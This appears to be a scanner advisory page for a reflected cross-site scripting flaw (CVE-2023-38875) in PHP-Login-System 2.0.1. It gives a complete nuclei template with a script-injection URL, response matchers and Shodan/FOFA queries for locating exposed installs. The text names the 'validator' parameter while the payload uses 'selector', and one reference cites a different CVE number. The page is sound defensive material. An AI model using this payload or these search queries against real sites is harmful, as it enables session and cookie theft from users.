PHP Login System 2.0.1 - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.9%likelihood of exploitation, next 30 days

59%of all CVEs are less likely

Readycheck to confirm it

msaad1999's PHP-Login-System 2.0.1 contains a reflected cross-site scripting caused by unsanitized input in 'validator' parameter in /reset-password, letting remote attackers execute arbitrary JavaScript in a user's browser, exploit requires attacker to craft malicious URL

Impact

Attackers can execute arbitrary JavaScript in users' browsers, potentially stealing cookies or session tokens.

Fix

Implement proper input validation and output encoding for the 'validator' parameter.

How to confirm it

Send: GET {{BaseURL}}/reset-password/?selector=test"><script>alert(document.domain)</script>&validator=test
Positive when: contains_all(body, "test\"><script>alert(document.domain)</script>", "Embeddable PHP Login System") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-38875 -u <target>

The full check

id: CVE-2023-38875

info:
  name: PHP Login System 2.0.1 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    msaad1999's PHP-Login-System 2.0.1 contains a reflected cross-site scripting caused by unsanitized input in 'validator' parameter in /reset-password, letting remote attackers execute arbitrary JavaScript in a user's browser, exploit requires attacker to craft malicious URL
  impact: |
    Attackers can execute arbitrary JavaScript in users' browsers, potentially stealing cookies or session tokens.
  remediation: |
    Implement proper input validation and output encoding for the 'validator' parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38876
    - https://github.com/dub-flow/vulnerability-research/tree/main/CVE-2023-38875
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-38875
    cwe-id: CWE-79
    epss-score: 0.0087
    epss-percentile: 0.59104
    cpe: cpe:2.3:a:msaad1999:php-login-system:2.0.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: msaad1999
    product: php-login-system
    shodan-query: http.html:"klik_loginsystem"
    fofa-query: body="klik_loginsystem"
  tags: cve,cve2023,xss,php-login-system,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/reset-password/?selector=test"><script>alert(document.domain)</script>&validator=test'

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "test\"><script>alert(document.domain)</script>", "Embeddable PHP Login System")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from